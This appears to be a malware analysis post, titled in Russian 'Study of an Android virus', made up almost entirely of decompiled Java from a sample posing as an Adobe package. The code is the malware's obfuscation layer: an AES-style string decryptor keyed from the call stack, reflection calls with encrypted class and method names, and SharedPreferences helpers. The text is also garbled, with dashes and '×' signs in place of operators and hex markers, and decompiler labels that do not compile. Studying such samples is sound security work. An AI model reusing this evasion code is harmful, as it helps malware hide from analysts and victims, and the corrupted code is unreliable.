Исследование андроид-вируса
// Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov Date: 09.04.2015 17:11:59 // Home Page: http://members.fortunecity.com/neshkov/dj.html http://www.neshkov.com/dj.html — Check often for new version! // Decompiler options: packimports (3)
package com.adobe.cfg;
import android.content.Context; import android.content.SharedPreferences; import java.lang.reflect.Method;
public class h {
private static final int a (int i, int j) { int _tmp = j + i >> 24; return i >>> j | i << -j; }
private static final int a (byte abyte0[], int i) { int j; byte byte0; j = abyte0[14] << 16; byte0 = 0; _L6: byte byte1 = 0; if(byte0 != 0) goto _L2; else goto _L1 _L1: int l; byte0 = 3; l = i & 0xff; int i1; byte byte3; i1 = 0xff & abyte0[l] | (0xff & abyte0[0xff & i >> 8]) << 8 | (0xff & abyte0[0xff & i >> 16]) << 16; byte3 = abyte0[0xff & i >> 24]; j = i1 | byte3 << 24; _L4: return j; Exception exception; exception; _L2: if(byte1 != 0) goto _L4; else goto _L3 _L3: int k; byte1 = 2; k = i & 0x7f; byte byte2 = abyte0[k]; return byte2 >> 8; Exception exception1; exception1; if (true) goto _L6; else goto _L5 _L5: }
static final String a (String s) { int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte abyte0[]; char ac[]; int j1; int k1; int l1; int i2; boolean flag; if (a == null) a (); Object aobj[] = (Object[])(Object[])((Method)a[8]).invoke (((Method)a[7]).invoke (null, null), null); StringBuilder stringbuilder = new StringBuilder (); stringbuilder.append (((Method)a[10]).invoke (aobj[((Integer)a[12]).intValue ()], null)); int i = stringbuilder.append (((Method)a[11]).invoke (aobj[((Integer)a[12]).intValue ()], null)).toString ().hashCode (); int ai[] = (int[])(int[])a[6]; int j = i ^ ai[0]; int k = i ^ ai[1]; int l = i ^ ai[2]; int i1 = i ^ ai[3]; ai1 = (int[])(int[])a[5]; ai2 = (int[])(int[])a[1]; ai3 = (int[])(int[])a[2]; ai4 = (int[])(int[])a[3]; ai5 = (int[])(int[])a[4]; abyte0 = (byte[])(byte[])a[0]; ac = (char[])(char[])((Method)a[9]).invoke (s, null); j1 = l; k1 = k; l1 = j; i2 = i1; flag = false; _L16: if (flag) goto _L2; else goto _L1 _L1: int j2 = ac.length; int k2 = 0; _L17: if (k2 >= j2) goto _L2; else goto _L3 _L3: if (k2% 8!= 0) break MISSING_BLOCK_LABEL_1336; int l2; int i3; int j3; int k3; l2 = l1 ^ ai1[0]; i3 = k1 ^ ai1[1]; j3 = j1 ^ ai1[2]; k3 = i2 ^ ai1[3]; int l3 = 4; _L5: if (l3 >= 36) break; /* Loop/switch isn’t completed */ int i4; int j4; int k4; int l4; i4 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; j4 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; k4 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; l4 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int i5 = l3 + 4; l2 = ai2[i4 & 0xff] ^ ai3[0xff & j4 >> 8] ^ ai4[0xff & k4 >> 16] ^ ai5[l4 >>> 24] ^ ai1[i5]; i3 = ai2[j4 & 0xff] ^ ai3[0xff & k4 >> 8] ^ ai4[0xff & l4 >> 16] ^ ai5[i4 >>> 24] ^ ai1[i5 + 1]; j3 = ai2[k4 & 0xff] ^ ai3[0xff & l4 >> 8] ^ ai4[0xff & i4 >> 16] ^ ai5[j4 >>> 24] ^ ai1[i5 + 2]; k3 = ai2[l4 & 0xff] ^ ai3[0xff & i4 >> 8] ^ ai4[0xff & j4 >> 16] ^ ai5[k4 >>> 24] ^ ai1[i5 + 3]; l3 = i5 + 4; if (true) goto _L5; else goto _L4 _L4: int j5; int k5; int l5; int i6; j5 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3]; k5 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1]; l5 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2]; i6 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3]; int j6 = l3 + 4; int k6; int l6; l1 = 0xff & abyte0[j5 & 0xff] ^ (0xff & abyte0[0xff & k5 >> 8]) << 8 ^ (0xff & abyte0[0xff & l5 >> 16]) << 16 ^ abyte0[i6 >>> 24] << 24 ^ ai1[j6 + 0]; k1 = 0xff & abyte0[k5 & 0xff] ^ (0xff & abyte0[0xff & l5 >> 8]) << 8 ^ (0xff & abyte0[0xff & i6 >> 16]) << 16 ^ abyte0[j5 >>> 24] << 24 ^ ai1[j6 + 1]; j1 = 0xff & abyte0[l5 & 0xff] ^ (0xff & abyte0[0xff & i6 >> 8]) << 8 ^ (0xff & abyte0[0xff & j5 >> 16]) << 16 ^ abyte0[k5 >>> 24] << 24 ^ ai1[j6 + 2]; k6 = 0xff & abyte0[i6 & 0xff] ^ (0xff & abyte0[0xff & j5 >> 8]) << 8 ^ (0xff & abyte0[0xff & k5 >> 16]) << 16 ^ abyte0[l5 >>> 24] << 24; l6 = ai1[j6 + 3]; i2 = l6 ^ k6; byte byte0 = 0; _L18: if(byte0 != 0) goto _L7; else goto _L6 _L6: byte0 = 3; k2 % 8; JVM INSTR tableswitch 0 7: default 1566 // 0 1400 // 1 1420 // 2 1437 // 3 1457 // 4 1474 // 5 1494 // 6 1511 // 7 1531; goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15 _L8: ac[k2] = (char)(l1 >> 16 ^ ac[k2]); goto _L7 _L9: ac[k2] = (char)(l1 ^ ac[k2]); goto _L7 _L10: ac[k2] = (char)(k1 >> 16 ^ ac[k2]); goto _L7 _L11: ac[k2] = (char)(k1 ^ ac[k2]); goto _L7 _L12: ac[k2] = (char)(j1 >> 16 ^ ac[k2]); goto _L7 _L13: ac[k2] = (char)(j1 ^ ac[k2]); goto _L7 _L14: ac[k2] = (char)(i2 >> 16 ^ ac[k2]); goto _L7 _L15: ac[k2] = (char)(i2 ^ ac[k2]); goto _L7 _L2: return new String (ac); Throwable throwable; throwable; flag = true; goto _L16 _L7: k2++; goto _L17 Throwable throwable1; throwable1; goto _L18 }
public static String a (String s, String s1, Context context) { return context.getSharedPreferences (s, 4).getString (s1, null); }
private static final void a () { int ai[]; byte abyte0[]; int ai1[]; int ai2[]; int ai3[]; int ai4[]; int ai5[]; byte byte0; ai = new int[256]; abyte0 = new byte[256]; ai1 = new int[256]; ai2 = new int[256]; ai3 = new int[256]; ai4 = new int[256]; ai5 = new int[30]; int i = 0; int j = 1; for (; i < 256; i++) { ai[i] = j; j ^= j << 1 ^ 283 * (j >>> 7); }
abyte0[0] = 99; byte0 = 0; _L18: if (byte0!= 0) goto _L2; else goto _L1 _L1: int j3 = 0; _L4: int i5; if (j3 >= 255) break; /* Loop/switch isn’t completed */ i5 = 255 — j3; int j5 = ai[i5]; int k5 = j5 | j5 << 8; abyte0[ai[j3]] = (byte)(0x63 ^ (k5 ^ (k5 >> 4 ^ k5 >> 5 ^ k5 >> 6 ^ k5 >> 7))); j3++; if (true) goto _L4; else goto _L3 _L5: int k3; if (k3 >= 256) break MISSING_BLOCK_LABEL_6536; int l3 = 0xff & abyte0[k3]; int j4; int i4 = l3 << 1 ^ 283 * (l3 >>> 7); j4 = -1 & (i4 ^ ((l3 ^ i4) << 24 ^ l3 << 16 ^ l3 << 8)); ai1[k3] = j4; ai2[k3] = j4 << 8 | j4 >>> -8; ai3[k3] = j4 << 16 | j4 >>> -16; ai4[k3] = j4 << 24 | j4 >>> -24; k3++; goto _L5 _L7: int l4; if (l4 >= 30) goto _L2; else goto _L6 _L6: int k4; ai5[l4] = k4; k4 = k4 << 1 ^ 283 * (k4 >>> 7); l4++; goto _L7 _L2: byte abyte1[]; byte abyte2[]; byte abyte3[]; int k; abyte1 = new byte[16]; abyte2 = (new byte[] { -43, 29, -111, 88, -115, 77, 34, 28, -101, 103, 85, 104, 109, 124, -104, -72, -18, 125, -60, 43, -49, 101, 37, 15, 126, 29, -14, -89, -22, 99, -76, 50, 45, 36, 71, 52, 54, 63, -47, -110, -30, 83, -76, 80, -105, -53, 53, 96, 9, -93, 10, -54, -64, -96, 123, 113, -112, 25, -68, -108, 13, -24, -115, 77, 28, 63, 4, -98, 21, -122, -3, 60, 88, -90, -26, -46, -85, 55, -118, -58, 16, -67, 37, 71, 55, -77, 82, -15, 6, 102, -78, 102, 66, -74, -33, 88, -114, -123, 56, 47, -18, 104, 26, 17, -97, -16, -4, 8, 108, -95, -103, 46, 79, -81, -35, -57, 18, 15, 81, -17, 41, -24, 16, 35, 66, -109, 6, 15, 109, 41, -19, 122, -59, -34, -38, -104, 20, 51, -69, -58, 119, -59, 23, 12, 35, 6, -76, 51, -41, -35, 99, 69, 117, -91, -92, 104, -80, -42, -83, -5, -106, -116, 118, 102, 125, 104, 115, 54, 24, -109, 121, 1, -35, -4, -115, -48, 15, -10, -6, -34, 108, -70, 17, 97, -35, -111, 58, 101, 30, 101, 120, -32, 22, -46, -86, -19, -102, 85, 114, -124, -80, 14, -54, -67, -46, -83, 2, -120, 93, 22, 125, 83, -94, 64, 48, -91, -35, 39, 124, -69, -17, 114, -72, -100, -113, -28, 33, -21, -66, 71, 76, 84, 0, 51, -84, -20, 32, -75, 76, -86, -96, 9, 42, -56, -74, -99, -42, -16, 19, -123, -44, 85, 1, 9, 117, -43 }); abyte3 = (new byte[] { -123, 111, 49, -125, 114, -78, -100, 115, -64, 12, -13, 92, -112, 46, -70, 9, 47, 2, -102, 112, -70, -71, -56, 94, -21, 83, -102, 49, -120, 75, 53, -38, -65, -14, 78, 111, -60, 46, 108, 77, -21, 119, 102, 48, 40, -68, 16, -126, 96, 28, 84, 95, -46, -84, -4, -110, -35, -124, -14, 93, -114, -73, 43, 112, -3, 102, -127, -47, 15, -90, 100, -11, 26, 102, -119, -82, -50, -16, -53, 79, 27, -30, 73, 12, 28, -72, -46, -27, 68, -59, -52, -66, -54, 42, 64, -13, 79, -86, 91, -61, -52, -51, 57, 121, 67, -70, -112, -74, -87, 35, 67, 33, -92, 58, 2, -37, 127, 11, 49, 19, -59, 33, -106, 83, 45, -52, 39, 60, -42, -80, -89, -47, -68, -124, 90, -74, -23, 81, 68, -112, -41, -20, -55, -38, -16, 48, -33, -82, 109, -81, 78, 52, -112, -121, -44, 23, 107, 37, -65, 22, 22, -4, -37, -63, -124, -41, 45, 96, -93, -104, 81, 79, -11, -72, 78, -55, 110, -93, 15, 72, 60, -27, -84, 126, 114, 68, 102, -55, 38, -98, -87, 45, 36, 75, -15, -55, 7, 100, 114, -39, -1, 119, -87, -102, -79, 76, 93, -56, 9, -100, -33, -65, -55, 70, 43, -125, 24, 124, -73, -46, 92, -121, 101, 122, -41, -11, 109, -52, 63, 65, -65, -87, -107, 112, -74, -63, 70, -78, -37, 0, 85, -7, -82, -92, 34, -24, -75, -18, -44, 38, 68, 49, 76, 50, 123, -105 }); k = 0; _L21: if (k!= 0) goto _L9; else goto _L8 _L8: k++; abyte1[0] = abyte2[0xff & abyte3[138]]; abyte1[1] = abyte2[0xff & abyte3[115]]; abyte1[2] = abyte2[0xff & abyte3[203]]; abyte1[3] = abyte2[0xff & abyte3[169]]; abyte1[4] = abyte2[0xff & abyte3[225]]; abyte1[5] = abyte2[0xff & abyte3[93]]; abyte1[6] = abyte2[0xff & abyte3[154]]; abyte1[7] = abyte2[0xff & abyte3[214]]; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; _L16: int ai6[]; int l; ai6 = new int[44]; l = 0; _L19: if (l!= 0) goto _L11; else goto _L10 _L10: int j1; int k1; int l1; j1 = l + 3; k1 = 0; l1 = 0; _L15: int i2 = 0; _L20: if (i2!= 0) goto _L13; else goto _L12 _L12: i2 += 3; if (l1 >= 16) goto _L13; else goto _L14 _L14: int i3 = 3 & k1 + 4 * (k1 >> 2); ai6[i3] = 0xff & abyte1[l1] | (0xff & abyte1[l1 + 1]) << 8 | (0xff & abyte1[l1 + 2]) << 16 | abyte1[l1 + 3] << 24; l1 += 4; k1++; goto _L15 _L9: abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; goto _L16 Throwable throwable; throwable; abyte1[8] = abyte2[0xff & abyte3[205]]; abyte1[9] = abyte2[0xff & abyte3[191]]; abyte1[10] = abyte2[0xff & abyte3[43]]; abyte1[11] = abyte2[0xff & abyte3[149]]; abyte1[12] = abyte2[0xff & abyte3[101]]; abyte1[13] = abyte2[0xff & abyte3[245]]; abyte1[14] = abyte2[0xff & abyte3[221]]; abyte1[15] = abyte2[0xff & abyte3[57]]; throw throwable; _L13: int j2 = 4; _L17: int k2; if(j2 >= 44) break; /* Loop/switch isn’t completed */ k2 = 4 * (j2 — 1 >> 2) + (3 & j2 — 1); int l2 = ai6[k2]; if (j2% 4!= 0) break MISSING_BLOCK_LABEL_4507; l2 = a (abyte0, a (l2, 8)) ^ ai5[-1 + j2 / 4]; ai6[4 * (j2 >> 2) + (j2 & 3)] = l2 ^ ai6[4 * (j2 — 4 >> 2) + (3 & j2 — 4)]; j2++; if (true) goto _L17; else goto _L11 _L11: int ai7[] = { 0xe0d51d94, 0×879e5437, 0×27b86eae, 0×222ba2fb }; Object aobj[] = new Object[13]; aobj[0] = abyte0; aobj[1] = ai1; aobj[2] = ai2; aobj[3] = ai3; aobj[4] = ai4; aobj[5] = ai6; aobj[6] = ai7; char ac[] = { '?', '~', '\007', '\271', '\uFFBB', '\271', '\203', '\212', '\002', '\225', '\251', '\320', '\337', '\341', '\uFFF9', '\034', 'Q', '\362', '6', '\235', '4', '\323', '\231', 'c', '\346', '\217', 'W', '\b', 'N', '\312', '\031', '\246', '\200', '\230', '\250', '\227', '\241', '\223', 'C', '\uFFF3', 'E', '\270', '\036', '\261', '\r', ',', 'c', '\314', 'j', '\021', 'q', '\uFFF8', '\023', '\024', '\355', '\332', '\uFFFE', '\200', '0', '\003', 'P', 'P', '\uFFEE', '\277', ']', '\261', 'v', '\uFFFF', '\216', '\uFFF0', '^', '\262', '\271', '\uFFD4', 'R', '3', '\031', '\236', '\uFFB8', '\031', '\204', '\036', '\210', '\262', '\213', '%', '\263', 'T', 'k', '\253', '\036', '\313', '\257', '\033', 'M', '\314', '\uFFF5', '\uFFEA', '\254', 'r', 'Z', '\311', '\215', '\204', '\uFFED', 'Q', 'i', 'm', '\323', '\006', '\r', '{', '\264', '#', 'E', '6', 'v', ']', '\262', '\\', '\216', 'I', '~', '\207', '\264', '\002', 'o', 's', '\233', '\230', '`', '\250', '\030', 'W', 'M', '\f', 'y', '\240', '\013', '8', '\346', '5', '|', '~', '\227', 'o', '\031', '\246', '>', 'B', '\327', '\265', '\332', '\027', '\027', '\321', '#', 'J', '\uFFDB', 'n', '\017', '\uFFFF', '\244', '\312', '\336', '\324', '\351', '\237', '\203', '\uFFC1', '\357', 'n', '\013', 'h', '\uFFF6', '2', 'p', 'd', '^', 'P', '\333', '#', 'u', '\217', 'L', '\004', 'h', '\247', '\223', '\316', '\344', 'D', 'i', '\027', '\uFFFC', '6', '\uFFDB', '\241', '\334', '\uFFE5', '&', 'o', '\uFFF8', ')', '3', '\033', 'i', '\uFFB6', '\260', '\212', '\357', '\274', '\020', '\247', '\230', '\006', 'P', '\217', '\277', '*', 'S', '\327' }; for (int i1 = 0; i1 < ac.length; i1++) ac[i1] = (char)(ac[i1] - abyte2[i1 % abyte2.length]);
aobj[7] = Class.forName (String.valueOf (ac, 0, 16)).getMethod (String.valueOf (ac, 16, 13), null); aobj[8] = Class.forName (String.valueOf (ac, 0, 16)).getMethod (String.valueOf (ac, 29, 13), null); aobj[9] = Class.forName (String.valueOf (ac, 42, 16)).getMethod (String.valueOf (ac, 58, 11), null); aobj[10] = Class.forName (String.valueOf (ac, 69, 27)).getMethod (String.valueOf (ac, 96, 12), null); aobj[11] = Class.forName (String.valueOf (ac, 69, 27)).getMethod (String.valueOf (ac, 108, 13), null); Class class1 = Class.forName (String.valueOf (ac, 121, 27)); String s = String.valueOf (ac, 148, 3); Class aclass[] = new Class[1]; aclass[0] = Class.forName (String.valueOf (ac, 42, 16)); Method method = class1.getMethod (s, aclass); Object aobj1[] = new Object[1]; aobj1[0] = String.valueOf (ac, 151, 25); String s1 = (String)method.invoke (null, aobj1); byte byte1; Exception exception; Exception exception1; Exception exception2; Exception exception3; if (s1!= null && s1.hashCode () == 0×145eec8c && android.os.Build.VERSION.SDK_INT < 21) byte1 = 4; else byte1 = 5; aobj[12] = Integer.valueOf(byte1); a = aobj; return; exception3; byte0 = 2; goto _L18 exception; l = j1; goto _L19 exception1; goto _L20 exception2; goto _L21 _L3: k3 = 0; goto _L5 k4 = 1; l4 = 0; goto _L7 }
public static void a (String s, String s1, String s2, Context context) { android.content.SharedPreferences.Editor editor = context.getSharedPreferences (s, 4).edit (); editor.putString (s1, s2); editor.commit (); }
private static transient Object a[]; }
